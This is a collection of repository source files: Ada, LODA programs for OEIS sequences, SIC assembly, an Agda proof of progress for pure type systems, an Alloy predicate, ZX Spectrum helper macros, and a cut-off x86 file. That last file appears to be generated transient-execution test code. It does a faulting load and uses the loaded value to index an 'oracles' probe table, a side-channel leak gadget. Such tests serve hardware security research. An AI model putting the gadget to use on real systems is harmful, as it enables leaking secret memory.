List : in out User_List; Id : in String; Remote_Addr : in String; Remote_Host : in String; Now : in Ada.Calendar.Time; Info : in out User_Info) is begin Info.Last_Remote_Addr := +Remote_Addr; Info.Last_Remote_Host := +Remote_Host; Info.Last_Time := Now; Save (User_Full_Name (List.Directory.all, Id), Info); end Update; function All_Users (List : User_List) return User_Info_Maps.Map is procedure Add (Result : in out User_Info_Maps.Map; Directory : in String) is Search : aliased Ada.Directories.Search_Type; begin Ada.Directories.Start_Search ( Search, Directory, "*", Filter => (Ada.Directories.Ordinary_File => True, others => False)); while Ada.Directories.More_Entries(Search) loop declare File : Ada.Directories.Directory_Entry_Type renames Ada.Directories.Look_Next_Entry (Search); Id : String := Ada.Directories.Simple_Name (File); begin if Id (Id'First) /= '.' then -- excluding dot file declare Info : User_Info; begin Load (User_Full_Name (List.Directory.all, Id), Info); User_Info_Maps.Include (Result, Id, Info); end; end if; end; Ada.Directories.Skip_Next_Entry (Search); end loop; Ada.Directories.End_Search(Search); end Add; begin return Result : User_Info_Maps.Map do Add (Result, List.Directory.all); declare Upper_Directory : constant String := Ada.Hierarchical_File_Names.Compose ( Directory => List.Directory.all, Relative_Name => Upper_Subdirectory_Name); begin if Ada.Directories.Exists (Upper_Directory) then Add (Result, Upper_Directory); end if; end; end return; end All_Users; procedure Muramura_Count ( List : in out User_List; Now : Ada.Calendar.Time; Muramura_Duration : Duration; Result : out Natural) is Muramura_Set : Users_Log.Map; begin Load_Users_Log (List); for I in List.Log.Iterate loop if Now - Users_Log.Element (I) <= Muramura_Duration then declare Item : User_Log_Item := (Users_Log.Key (I).Id, Ada.Strings.Unbounded.Null_Unbounded_String, Ada.Strings.Unbounded.Null_Unbounded_String); begin Users_Log.Include (Muramura_Set, Item, Now); end; end if; end loop; Result := Muramura_Set.Length; end Muramura_Count; function "<" (Left, Right : User_Log_Item) return Boolean is begin if Left.Id < Right.Id then return True; elsif Left.Id > Right.Id then return False; elsif Left.Remote_Addr < Right.Remote_Addr then return True; elsif Left.Remote_Addr > Right.Remote_Addr then return False; else return Left.Remote_Host < Right.Remote_Host; end if; end "<"; procedure Iterate_Log ( List : in out User_List; Process : not null access procedure ( Id : in String; Remote_Addr : in String; Remote_Host : in String; Time : in Ada.Calendar.Time)) is begin Load_Users_Log (List); for I in List.Log.Iterate loop declare Key : User_Log_Item renames Users_Log.Key (I); begin Process ( Id => Key.Id.Constant_Reference, Remote_Addr => Key.Remote_Addr.Constant_Reference, Remote_Host => Key.Remote_Host.Constant_Reference, Time => List.Log.Constant_Reference (I)); end; end loop; end Iterate_Log; end Tabula.Users.Lists;
programs/oeis/130/A130707.asm
karttu/loda
0
94297
<filename>programs/oeis/130/A130707.asm ; A130707: a(n+3) = 3*(a(n+2) - a(n+1)) + 2*a(n). ; 1,2,2,2,4,10,22,44,86,170,340,682,1366,2732,5462,10922,21844,43690,87382,174764,349526,699050,1398100,2796202,5592406,11184812,22369622,44739242,89478484,178956970,357913942,715827884,1431655766,2863311530,5726623060,11453246122,22906492246,45812984492,91625968982,183251937962,366503875924,733007751850,1466015503702,2932031007404,5864062014806,11728124029610,23456248059220,46912496118442,93824992236886,187649984473772,375299968947542,750599937895082,1501199875790164,3002399751580330,6004799503160662 mov $2,$0 mov $0,2 mov $1,2 mov $3,1 lpb $2,1 add $0,$1 add $1,1 mul $3,2 add $1,$3 sub $1,1 sub $1,$0 sub $2,1 lpe mov $1,$0 sub $1,2 div $1,2 add $1,1
oeis/028/A028163.asm
neoneye/loda-programs
11
94212
<filename>oeis/028/A028163.asm ; A028163: Expansion of 1/((1-4x)(1-9x)(1-11x)(1-12x)). ; Submitted by <NAME> ; 1,36,829,15576,260425,4039212,59479093,843439392,11625297409,156744987828,2076870835117,27134173366248,350447396932153,4483154549898684,56894676264296101,717171756670960944 mov $1,1 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 seq $0,19722 ; Expansion of 1/((1-4x)(1-9x)(1-12x)). sub $0,$1 mul $1,12 add $1,$0 lpe mov $0,$1
programs/oeis/266/A266302.asm
jmorken/loda
1
27889
; A266302: Decimal representation of the n-th iteration of the "Rule 15" elementary cellular automaton starting with a single ON (black) cell. ; 1,6,1,126,1,2046,1,32766,1,524286,1,8388606,1,134217726,1,2147483646,1,34359738366,1,549755813886,1,8796093022206,1,140737488355326,1,2251799813685246,1,36028797018963966,1 mov $1,4 mov $2,$0 mod $2,2 mov $3,$2 add $2,$0 pow $1,$2 lpb $0 mul $0,$3 mod $1,2 lpe div $1,10 mul $1,5 add $1,1
single-substitution-cipher/ada/inc/Decipherer.ads
Tim-Tom/scratch
0
6517
<reponame>Tim-Tom/scratch<filename>single-substitution-cipher/ada/inc/Decipherer.ads<gh_stars>0 with Word_List; with Ada.Containers.Vectors; package Decipherer is type Encrypted_Char is new Character; type Encrypted_Word is Array(Positive range 1 .. Word_List.Word'Last) of Encrypted_Char; type Candidate_Set is Array(Positive range <>) of Encrypted_Word; -- A mapping from the encrypted character to its partner. If the character is not in -- the input set, it will map to a period. type Result_Set is Array(Encrypted_Char range 'a' .. 'z') of Character; package Result_Vectors is new Ada.Containers.Vectors(Index_Type => Positive, Element_Type => Result_Set); subtype Result_Vector is Result_Vectors.Vector; function Image(ew: Encrypted_Word) return Word_List.Word; function Decipher(candidates: Candidate_Set; words: Word_List.Word_List) return Result_Vector; end Decipherer;
test.asm
despinoza1/sic-assembler
0
99281
. . JUST ANOTHER TEST FILE FOR . EVERYTHING . IT ADDS TWO NUMBERS AND WRITES OUT RESULT . AS AN ASCII CHARACTER . AND APPENDS TWO UNDERSCORES AT THE END . TEST START 0 MAIN STL RETADR . . ADDS NUM1 AND NUM2 AND STORE IN CHAR . LDA NUM1 ADD NUM2 STA CHAR . . WRITE RESULTS . LDA THREE STA LENGTH LDA CHAR STA BUFFER JSUB WRITE . . WRITE UNDERSCORES . LDA TWO STA LENGTH LDA SPACE STA BUFFER JSUB WRITE . . DUNNO, NULL ARE NEWLINES . WHO WOULD HAVE GUESSED . LDA TWO STA LENGTH LDA ZERO STA BUFFER JSUB WRITE LDL RETADR RSUB . . DATA FOR MAIN . NUM1 WORD 30 FIRST NUMBER NUM2 WORD 35 SECOND NUMBER TWO WORD 2 NUMBER OF UNDERSCORES THREE WORD 3 LENGHT OF A WORD SPACE BYTE C'__' CHAR RESB 3 AREA FOR RESULT OF ADDITION RETADR RESW 1 DUNNO, I COPIED THIS FROM EXAMPLE LENGTH RESW 1 BUFFER RESW 256 . . WRITE SUBROUTINE . COPIED FROM EXAMPLE . WRITE LDX ZERO WLOOP TD OUTPUT JEQ WLOOP LDCH BUFFER,X WD OUTPUT TIX LENGTH JLT WLOOP RSUB . . DATA FOR WRITE . OUTPUT BYTE X'06' USE DEV06 ZERO WORD 0 END MAIN
programs/oeis/218/A218986.asm
neoneye/loda
22
21630
<gh_stars>10-100 ; A218986: Power floor sequence of 2+sqrt(7). ; 4,18,83,385,1788,8306,38587,179265,832820,3869074,17974755,83506241,387949228,1802315634,8373110219,38899387777,180716881764,839565690386,3900413406835,18120350698497,84182643014492,391091624153458,1816914425657307,8440932575089601,39214473577330324,182180692034590098,846366188870351363,3932006831585175745,18267125892951757068,84864524066562555506,394259473945105493227,1831631467980109639425,8509304293755755037380,39532111578963349067794,183656359197120661383315,853221771525372692736641,3963856163692852755096508,18415089969347529098595954,85551928368468674659673339,397452983381917285934481217,1846467718633075167716944884,8578229824678052528671223186,39852322454611435617835727395,185143979292479900057356579137,860132884533753907082933498732,3995963476012455328503803732338,18564252557651083035264015425547,86244900658641698126567472899201,400672360307520041612061937873444,1861424143206005260827950170191378,8647713653746581168147986494385843,40175127044604340455075796488117505,186643649139657105324747145435627548,867099977692441442664215971206862706 add $0,3 seq $0,122558 ; a(0)=1, a(1)=3, a(n)=4*a(n-1)+3*a(n-2) for n>1. add $0,3 div $0,18
alloy4fun_models/trashltl/models/7/4g5BodhQQs2J26z8q.als
Kaixi26/org.alloytools.alloy
0
2009
<reponame>Kaixi26/org.alloytools.alloy open main pred id4g5BodhQQs2J26z8q_prop8 { always all f,g:File | some f.link implies eventually f.link in Trash } pred __repair { id4g5BodhQQs2J26z8q_prop8 } check __repair { id4g5BodhQQs2J26z8q_prop8 <=> prop8o }
src/Pts/Typing/Progress.agda
asr/pts-agda
21
5132
------------------------------------------------------------------------ -- Progress of CBV reductions in pure type systems (PTS) ------------------------------------------------------------------------ -- This module contains a variant of the "progress" theorem for PTS. -- Progress says roughly that well-typed terms do not get stuck. -- I.e. a well-typed term is either a value or it can take a CBV -- reduction step. Together with the subject reduction (aka -- "preservation") theorem from Pts.Typing, progress ensures type -- soundness. For detials, see e.g. -- -- * <NAME>, TAPL (2002), pp. 95. -- -- * <NAME> and <NAME>, "A Syntactic Approach to Type -- Soundness" (1994). module Pts.Typing.Progress where open import Data.Product using (_,_; ∃; _×_) open import Data.Sum using (_⊎_; inj₁; inj₂) open import Relation.Binary.PropositionalEquality open import Relation.Nullary using (¬_) open import Relation.Nullary.Negation using (contradiction) open import Pts.Typing open import Pts.Reduction.Cbv open import Pts.Reduction.Full -- Definitions and lemmas are parametrized by a given PTS instance. module _ {pts} where open PTS pts open Syntax open Ctx open Substitution using (_[_]) open Typing pts -- A helper lemma: sorts are not product types. Π≢sort : ∀ {n s} {a : Term n} {b} → ¬ (Π a b ≡β sort s) Π≢sort Πab≡s = let _ , Πab→*c , s→*c = ≡β⇒→β* Πab≡s _ , _ , _ , _ , Πa′b′≡c = Π-→β* Πab→*c in contradiction Πa′b′≡c (sort⇒¬Π (sort-→β* s→*c)) where sort⇒¬Π : ∀ {n s a b} {c : Term n} → sort s ≡ c → ¬ (Π a b ≡ c) sort⇒¬Π refl () -- A canonical forms lemma for dependent product values: closed -- values of product type are abstractions. Π-can : ∀ {f a b} → Val f → [] ⊢ f ∈ Π a b → ∃ λ a′ → ∃ λ t → f ≡ ƛ a′ t Π-can (sort s) s∈Πab = let _ , _ , Πab≡s′ = sort-gen s∈Πab in contradiction Πab≡s′ Π≢sort Π-can (Π c d) Πcd∈Πab = let _ , _ , _ , _ , _ , _ , Πab≡s = Π-gen Πcd∈Πab in contradiction Πab≡s Π≢sort Π-can (ƛ a′ t) (ƛ a∈s t∈b) = a′ , t , refl Π-can (ƛ a′ t) (conv λa′t∈c c∈s c≡Πab) = a′ , t , refl -- Progress: well-typed terms do not get stuck (under CBV reduction). prog : ∀ {a b} → [] ⊢ a ∈ b → Val a ⊎ (∃ λ a′ → a →v a′) prog (var () Γ-wf) prog (axiom a Γ-wf) = inj₁ (sort _) prog (Π r a∈s₁ b∈s₂) = inj₁ (Π _ _) prog (ƛ t∈b Πab∈s) = inj₁ (ƛ _ _) prog (f∈Πab · t∈a) with prog f∈Πab prog (f∈Πab · t∈a) | inj₁ u with prog t∈a prog (f∈Πab · t∈a) | inj₁ u | inj₁ v with Π-can u f∈Πab ...| a′ , t′ , refl = inj₂ (_ , cont a′ t′ v) prog (f∈Πab · t∈a) | inj₁ u | inj₂ (t′ , t→t′) = inj₂ (_ , u ·₂ t→t′) prog (f∈Πab · t∈a) | inj₂ (f′ , f→f′) = inj₂ (_ , f→f′ ·₁ _) prog (conv a∈b₁ b₂∈s b₁≡b₂) = prog a∈b₁
asm/helper.asm
goakes007/zx-spectrum-utils
5
82928
<reponame>goakes007/zx-spectrum-utils<gh_stars>1-10 /* This module is here to provide LOTS of great macros to make coding much simpler for the developer. My fav ones are the _IF set and _IX set which I use all the time to cut down the number of lines of code and increase readability. sample IF statement _IF label1, a, 0 <-- All ifs need a label which allows then to be nested if needed. This compares reg A with 0 and if true does the next block ; do what ever.... _ELSE label1 <-- If reg A is NOT zero then it will do this block ; otherwise do this.... _END_IF sample IX macros. Imagine you had created a structure, and set IX pointing to that structure, then use these macros to access their offset ld ix, p_init_memory_values IX_GET b, p_mem.incx <-- Equivalent to ld a,(IX+p_mem.incx) : ld b,a IX_LD p_mem.incx, p_mem.incy <-- Equivalent to: ld a,(IX+p_mem.incy) : ld (IX+p_mem.incx),a ** All the IF MACROS, the first set are short jumps like jr, and the secondf set use JP macro _IF ifinstance,_reg,_value macro _IF_NOT ifinstance,_reg,_value macro _ELSE ifinstance macro _END_IF ifinstance macro _END_IF_NO_ELSE ifinstance macro _LONG_IF ifinstance,_reg,_value macro _LONG_IF_NOT ifinstance,_reg,_value macro _LONG_ELSE ifinstance macro _LONG_END_IF ifinstance macro _LONG_END_IF_NO_ELSE ifinstance macro _LONG_IX_IF ifinstance,_offset,_value macro _IX_IF ifinstance,_offset,_value ** ALL IX macros macro IX_GET _reg?, _offset macro IX_SET _offset,_reg? macro IX_LD _offset,_offset2 macro IX_INC _offset macro IX_DEC _offset macro IX_ADD _offset, value macro IX_SUB _offset, value macro IX_CP _offset1, _offset2 macro IX_GET2 _reg1?, _reg2?, _offset macro IX_SET2 _offset, _reg1?, _reg2? ** MEMORY macros which are similar to the IX macros but directly to memory macro MEM_SET _mem_loc,_value macro MEM_GET reg,_mem_loc macro MEM_INC _mem_loc macro MEM_DEC _mem_loc macro MEM_ADD _mem_loc,_value macro MEM_SUB _mem_loc,_value ** Dealing with the screen macro CALC_SCREEN_LOCATION screenyx8 macro CALC_SCREEN_LOCATION8x8 screeny8x8 macro CALC_COLOUR_LOCATION8x8 screeny8x8 macro CALC_COLOUR_LOCATION screenyx8 macro INC_Y_SCREEN_LOCATION macro INC_Y_COLOUR_LOCATION macro SET_SCREEN_COLOUR colour_num macro SET_BORDER_COLOUR colour_num2 ** Miscellaneous macro DIV_8 reg macro MIN _arg ; compare argument with A, A will hold the minimum macro MAX _arg ; compare argument with A, A will hold the maximun macro MULTIPLY word_arg, byte_arg macro STRING_SIZE mem_loc macro CALC_MEMORY_OFFSET mem_start, number macro return macro CLS macro INIT_MEMORY mem_start,mem_length macro HEX_TO_STRING HEX_TO_STRING_MEM equ helper.hex_to_string_mem */ IFNDEF HELPER_ASM define HELPER_ASM jp helper.helper_end FALSE equ 0 TRUE equ 1 ; ================================================================ ; MACRO IF STATEMENT with SHORT jumps macro _FOR reg, _start, _end, _step @.end_reg equ _end @.for_step_reg equ _step ld reg,_start @.for_reg endm macro _END_FOR reg ld a,.for_step_reg .l1 inc reg dec a jr nz, .l1 ld a,reg cp .end_reg jr nz, .for_reg endm ; ================================================================ ; MACRO IF STATEMENT with SHORT jumps macro _IF ifinstance,_reg,_value ld a,_reg cp _value jr nz, .ifelse_ifinstance endm macro _IF_NOT ifinstance,_reg,_value ld a,_reg cp _value jr z, .ifelse_ifinstance endm macro _ELSE ifinstance jr .ifend_ifinstance @.ifelse_ifinstance endm macro _END_IF ifinstance @.ifend_ifinstance endm macro _END_IF_NO_ELSE ifinstance @.ifelse_ifinstance @.ifend_ifinstance endm ; ================================================================ ; MACRO IF STATEMENT with LONG jumps macro _LONG_IF ifinstance,_reg,_value ld a,_reg cp _value jp nz, .ifelselong_ifinstance endm macro _LONG_IF_NOT ifinstance,_reg,_value ld a,_reg cp _value jp z, .ifelselong_ifinstance endm macro _LONG_ELSE ifinstance jp .ifendlong_ifinstance @.ifelselong_ifinstance endm macro _LONG_END_IF ifinstance @.ifendlong_ifinstance endm macro _LONG_END_IF_NO_ELSE ifinstance @.ifelselong_ifinstance @.ifendlong_ifinstance endm ; ================================================================ ; MACROs Useful commands macro DIV_8 reg .3 srl reg endm macro MIN _arg ; compare argument with A, A will hold the minimum cp _arg jr c, .e1 ld a,_arg .e1 endm macro MAX _arg ; compare argument with A, A will hold the maximun cp _arg jr nc, .e1 ld a,_arg .e1 endm ; ================================================================ ; MACRO FOR MEMORY COMMANDS macro MEM_SET _mem_loc,_value ld a,_value ld (_mem_loc),a endm macro MEM_GET reg,_mem_loc ld a,(_mem_loc) ld reg,a endm macro MEM_INC _mem_loc ld a,(_mem_loc) inc a ld (_mem_loc),a endm macro MEM_DEC _mem_loc ld a,(_mem_loc) dec a ld (_mem_loc),a endm macro MEM_ADD _mem_loc,_value ld a,(_mem_loc) add _value ld (_mem_loc),a endm macro MEM_SUB _mem_loc,_value ld a,(_mem_loc) sub _value ld (_mem_loc),a endm ; ================================================================ ; MACRO FOR MEMORY COMMANDS with IX register macro IX_GET _reg?, _offset ; Willy memory get offset ld _reg?, (ix+_offset) endm macro IX_GET2 _reg1?, _reg2?, _offset ; Willy memory get offset ld _reg2?, (ix+_offset+0) ld _reg1?, (ix+_offset+1) endm macro IX_SET _offset,_reg? ld a,_reg? ld (ix+_offset),a endm macro IX_SET2 _offset, _reg1?, _reg2? ld a,_reg2? ld (ix+_offset+0),_reg2? ld a,_reg1? ld (ix+_offset+1),_reg1? endm macro IX_LD _offset,_offset2 ld a,(ix+_offset2) ld (ix+_offset),a endm macro IX_INC _offset ;ld a,(ix+_offset) ;inc a inc (ix+_offset) endm macro IX_INC_MAX _offset, _max, _maxvalue ld a,(ix+_offset) inc a ld (ix+_offset),a cp _max jr nz, .e1 ld (ix+_offset), _maxvalue .e1 endm macro IX_INC2 _offset ld a,(ix+_offset) inc a ld (ix+_offset),a cp 0 jr z,.ixi inc (ix+_offset+1) .ixi endm macro IX_DEC _offset dec (ix+_offset) endm macro IX_DEC_MIN _offset, _min, _minvalue ld a,(ix+_offset) dec a ld (ix+_offset),a cp _min jr nz,.e2 ld (ix+_offset),_minvalue .e2 endm macro IX_DEC2 _offset ld a,(ix+_offset) dec a ld (ix+_offset),a cp 0 jr z,.ixd dec (ix+_offset+1) .ixd endm macro IX_ADD _offset, value ld a,(ix+_offset) add value ld (ix+_offset),a endm macro IX_SUB _offset, value ld a,(ix+_offset) sub value ld (ix+_offset),a endm macro IX_CP _offset1, _offset2 ; Willy memory get offset IX_GET a,_offset2 IX_SET _offset1,a endm macro _LONG_IX_IF ifinstance,_offset,_value IX_GET a,_offset cp _value jp nz, .ifelselong_ifinstance endm macro _IX_IF ifinstance,_offset,_value IX_GET a,_offset cp _value jr nz, .ifelse_ifinstance endm ; ================================================================ macro CALC_MEMORY_OFFSET mem_start, number ld hl,mem_start ld a,number call helper.priv_calc_memory_offset endm ; CALC_SCREEN_LOCATION: Given screen position in HL, calculate the actual screen memory location ; h = y axis, pixel level ; l = x8 axis, char level macro CALC_SCREEN_LOCATION screenyx8 ld hl,screenyx8 call helper.priv_screen_calc_yx8 endm macro CALC_SCREEN_LOCATION8x8 screeny8x8 ld hl,screeny8x8 call helper.priv_screen_calc_8x8 endm macro CALC_COLOUR_LOCATION8x8 screeny8x8 ld hl,screeny8x8 call helper.priv_screen_calc_8x8_colour endm macro CALC_COLOUR_LOCATION screenyx8 ld hl,screenyx8 call helper.priv_screen_calc_yx8_colour: endm macro INC_Y_SCREEN_LOCATION call helper.priv_screen_inc_y endm macro INC_Y_COLOUR_LOCATION call helper.priv_screen_inc_y_colour endm macro SET_SCREEN_COLOUR colour_num push af ld a,colour_num ;or 7 call helper.priv_set_screen_colour_to_a pop af endm macro SET_BORDER_COLOUR colour_num2 push af ld a,colour_num2 out (#fe),a pop af endm macro MULTIPLY word_arg, byte_arg push af ld hl,word_arg ld a,byte_arg call helper.priv_multiple pop af endm macro STRING_SIZE mem_loc push hl ld hl,mem_loc call helper.priv_string_size pop hl endm macro return ret endm macro CLS call helper.priv_cls endm macro INIT_MEMORY mem_start,mem_length push hl ld hl,mem_start ld bc,mem_length call helper.priv_init_memory pop hl endm macro HEX_TO_STRING call helper.hex_to_string endm macro RANDOM ; return a random 8 bit number in A call helper.random endm HEX_TO_STRING_MEM equ helper.hex_to_string_mem ; from xy1 = de = end1 (e = x-axis, d = y-axis) ; to xy2 = hl = end2 (l = x-axis, h = y-axis) macro DRAW1 x1,y1,x2,y2 push hl,de ld l,x1 ld h,y1 ld e,x2 ld d,y2 call helper.draw_line pop de,hl endm ; from xy1 = de = end1 (e = x-axis, d = y-axis) ; to xy2 = hl = end2 (l = x-axis, h = y-axis) macro DRAW2 xy1, xy2 push hl,de ld hl,xy1 ld de,xy2 call helper.draw_line pop de,hl endm macro PLOT1 x,y push hl ld l,x ld h,y call helper.plot_reverse pop hl endm macro PLOT2 xy push hl ld hl,xy call helper.plot_reverse pop hl endm ; --------------------------------------------------------- ; --------------------------------------------------------- ; Assembly Code Section ; --------------------------------------------------------- ; --------------------------------------------------------- module helper random_memory dw 0000 random push hl, de ld a,r ld e,a ld d,0 ld a,(random_memory) ld l,a ld a,(random_memory+1) ld h,a add hl,de ld a,h cp 16 jr c, .r1 ld a,0 ld h,a .r1 ld a,l ld (random_memory),a ld a,h ld (random_memory+1),a ld a,(hl) ld d,a inc hl ld a,(hl) .2 rr a xor d pop de, hl ret hex_to_string_mem dz "0000" ; de holds memory location to get hex_to_string ; de holds hex to convert into a string ; and store in hex_to_string_mem push hl, af ld hl,hex_to_string_mem ld a,d ; char 1 and $f0 .4 rra call hex_to_char ld (hl),a inc hl ld a,d ; char 2 and $0F call hex_to_char ld (hl),a inc hl ld a,e ; char 3 and $f0 .4 rra call hex_to_char ld (hl),a inc hl ld a,e ; char 4 and $0F call hex_to_char ld (hl),a inc hl pop af, hl ret hex_to_char ; Convert hex to decimal for the accumulator cp 10 ; is A a letter of a number jr nc,.char add '0' jr .end .char add 'A'-10 .end ret priv_string_size ; HL will hold the string memory location ; A will return the size push bc ld b,0 .n1 ld a,(hl) cp 0 jr z, .e1 inc b inc hl jr .n1 .e1 ld a,b pop hl ret priv_multiple ; multiple hl by a ; leaving result in hl push bc,de ld bc,hl ; ld bc with the continuously doubled number ld de,0 ; hold de with the running sum .s1 sra a jr nc, .n1 ; not to be added ld hl,de add hl,bc ld de,hl .n1 ld hl,bc add hl,hl ld bc,hl cp 0 jr nz, .s1 ld hl,de pop de,bc ret priv_set_screen_colour_to_a: ; Accumulator will hold colour push hl,de,bc ld d,a ld hl,$5800 ; colour screen location ld bc,32*24 .l1 ld a,d ld (hl),a inc hl dec bc ld a,b or c jr nz, .l1 pop bc,de,hl ret priv_screen_inc_y: ; increase Y value in HL on the screen by 1 pixel inc h ld a,h and 7 ret nz ld a,h sub 8 ld h,a ld a,l add a,$20 ld l,a and $e0 ret nz ld a,h add a,8 ld h,a ret priv_screen_inc_y_colour: ; Increse Y colour value in HL on the screen colour by 1 char ld a,l add a,$20 ld l,a and $e0 ret nz inc h ret priv_screen_calc_8x8: .3 sla h ; multiply by 8 jp priv_screen_calc_yx8 priv_screen_calc_yx8: ; Given screen position in HL, calculate the actual screen memory location ; +--------------------------+--------------------------+ ; | y7 y6 y5 y4 y3 y2 y1 y0 | x7 x6 x5 x4 x3 x2 x1 x0 | ; +--------------------------+--------------------------+ ; | H = Y axis (0-191) | L = X axis (0-31) | ; | 15 14 13 12 11 10 9 8 | 7 6 5 4 3 2 1 0 | ; | 0 1 0 y7 y6 y2 y1 y0 | y5 y4 y3 x4 x3 x2 x1 x0 | ; +--------------------------+--------------------------+ ; h = y axis, pixel level ; l = x axis, char level push bc,af ld bc,hl ; y-axis 0-191 ld a,b ; y0,1,2 h bits 10,9,8 and 00000111b or 01000000b ; h bits 15,14,13 ld h,a ld a,b and 11000000b ; y6,7 h bits 12,11 .3 rra or h ld h,a ; h, y-axis is now done ld a,b and 00111000b ; y 3,4,5 l bits 7,6,5 rla rla ld l,a ; y3,4,5 stored in l 7,6,5 ; x-axis 0-31 ld a,c and 00011111b ; x4,3,2,1,0 or l ld l,a ; stored in l pop af,bc ret priv_screen_calc_8x8_colour: .3 sla h ; multiply by 8 jp priv_screen_calc_yx8_colour priv_screen_calc_yx8_colour: ; Calculate the colour location in HL and set HL to this value ; Y = h in pixels, so need to shift right 3 times ; X = l ; Given screen position in HL, calculate the actual screen memory location ; +--------------------------+--------------------------+ ; | y7 y6 y5 y4 y3 y2 y1 y0 | x7 x6 x5 x4 x3 x2 x1 x0 | ; +--------------------------+--------------------------+ ; | H = Y axis (0-191) | L = X axis (0-31) | ; | 15 14 13 12 11 10 9 8 | 7 6 5 4 3 2 1 0 | ; | 80 40 20 10 8 4 2 1 | 80 40 20 10 8 4 2 1 | ; | 0 1 0 1 1 0 y6 y7 | y3 y4 y5 x4 x3 x2 x1 x0 | ; +--------------------------+--------------------------+ ; h = y axis, pixel level ; l = x axis, char level push af,bc ld bc,hl ld a,h ; y6 and 7 ld a,b and 11000000b .6 rra or 01011000b ld h,a ; y5,4,3 ld a,b and 00111000b .2 rla ld l,a ; x ld a,c and 00011111b or l ld l,a pop bc,af ret priv_cls ld hl,$4000 ld bc,$1800 INIT_MEMORY hl,bc ret priv_init_memory push hl,bc,af .n1 ld (hl),0 inc hl dec bc ld a,b or c jr nz,.n1 pop af,bc,hl ret priv_calc_memory_offset ; It is common to have a list of addresses in memory, ; this function will take the base added and the offset ; It will calculate the location of the address ; pull these address from memory and store in HL ; HL =base address ; A = offset push de add a,a ld e,a ld d,0 add hl,de ld a,(hl) inc hl ld h,(hl) ld l,a pop de ret macro Y_FLIP reg ld a,191 sub reg ld reg,a endm ; draw line: Bottom left corner is zero,zero ; from de = end1 (e = x-axis, d = y-axis) ; to hl = end2 (l = x-axis, h = y-axis) draw_line push hl, de ld a,e : ld e,d : ld d,a ld a,l : ld l,h : ld h,a Y_FLIP e Y_FLIP l call draw pop de, hl ret draw: call plot push hl ; calculate hl = centre pixel ld a,l add a,e rra ld l,a ld a,h add a,d rra ld h,a ; if de (end1) = hl (centre) then we're done or a sbc hl,de jr z,.e1 add hl,de ex de,hl call draw ; de = centre, hl = end1 ex (sp),hl ex de,hl call draw ; de = end2, hl = centre ex de,hl pop de ret .e1 pop hl ret ; bottom left corner - plot h = y-axis, l = x-axis plot_reverse push hl, de ld d,l : ld e,h Y_FLIP e call plot pop de, hl ret ; top left corner - plot d = x-axis, e = y-axis plot: push hl ld a,d and 7 ld b,a inc b ld a,e rra scf rra or a rra ld l,a xor e and $f8 xor e ld h,a ld a,l xor d and 7 xor d .3 rrca ld l,a ld a,1 .l1 rrca djnz .l1 or (hl) ld (hl),a pop hl ret helper_end nop endmodule ENDIF
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_3384_1304.asm
ljhsiun2/medusa
9
90919
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r14 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x88c, %r14 nop nop nop inc %rsi movl $0x61626364, (%r14) nop nop nop xor $37478, %rbx lea addresses_normal_ht+0x1b538, %r12 nop nop nop add %rdx, %rdx movl $0x61626364, (%r12) nop nop nop dec %r12 lea addresses_UC_ht+0x43cc, %rdx nop nop nop nop xor %rbx, %rbx mov $0x6162636465666768, %r10 movq %r10, (%rdx) nop inc %r10 lea addresses_D_ht+0x1b6c, %r14 nop nop nop nop nop and $15534, %rbx and $0xffffffffffffffc0, %r14 movaps (%r14), %xmm2 vpextrq $0, %xmm2, %r13 nop nop nop nop nop sub $12512, %r12 lea addresses_D_ht+0xa34c, %rdx inc %r12 mov $0x6162636465666768, %r14 movq %r14, %xmm1 movups %xmm1, (%rdx) nop nop nop nop nop cmp %rsi, %rsi lea addresses_normal_ht+0xa9cc, %rsi lea addresses_UC_ht+0x43cc, %rdi nop nop xor %rdx, %rdx mov $94, %rcx rep movsb nop sub $28319, %r14 lea addresses_WT_ht+0x5f6c, %rcx nop nop nop nop xor $37497, %rbx movl $0x61626364, (%rcx) nop nop nop nop nop add $21392, %r13 lea addresses_D_ht+0xa3cc, %rsi lea addresses_A_ht+0x90ec, %rdi nop nop nop xor $45362, %r14 mov $49, %rcx rep movsl nop nop nop and $25412, %r14 lea addresses_WT_ht+0x181cc, %rsi nop dec %rdi mov (%rsi), %r13 xor $10969, %r14 lea addresses_UC_ht+0x1a88c, %rsi lea addresses_D_ht+0x113cc, %rdi nop xor %rbx, %rbx mov $101, %rcx rep movsq add %rdi, %rdi lea addresses_normal_ht+0x15fcc, %r12 nop nop nop nop cmp $1339, %rbx mov $0x6162636465666768, %r14 movq %r14, (%r12) nop nop nop sub %rdx, %rdx lea addresses_A_ht+0x5bcc, %rbx nop xor $29842, %r10 mov (%rbx), %di nop nop xor $6819, %rcx lea addresses_WT_ht+0x1d1cc, %r13 nop inc %rcx mov (%r13), %r10 nop nop nop nop nop add $6454, %rsi lea addresses_A_ht+0x18588, %rdx and $48221, %rdi movw $0x6162, (%rdx) nop nop nop nop nop and %r12, %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %r8 push %rbx push %rcx push %rdx // Store mov $0x3fc, %rdx nop nop nop nop cmp %rbx, %rbx mov $0x5152535455565758, %r15 movq %r15, (%rdx) nop nop nop cmp %rdx, %rdx // Store mov $0x21186000000003cc, %r15 cmp $58115, %r11 movb $0x51, (%r15) add $23275, %r10 // Store lea addresses_A+0x1c738, %r8 nop nop nop nop cmp %rbx, %rbx mov $0x5152535455565758, %r15 movq %r15, %xmm5 vmovups %ymm5, (%r8) nop nop nop nop nop and %r10, %r10 // Faulty Load lea addresses_WT+0x19bcc, %r8 nop nop nop add $46223, %rcx vmovups (%r8), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %r11 lea oracles, %rbx and $0xff, %r11 shlq $12, %r11 mov (%rbx,%r11,1), %r11 pop %rdx pop %rcx pop %rbx pop %r8 pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_P', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 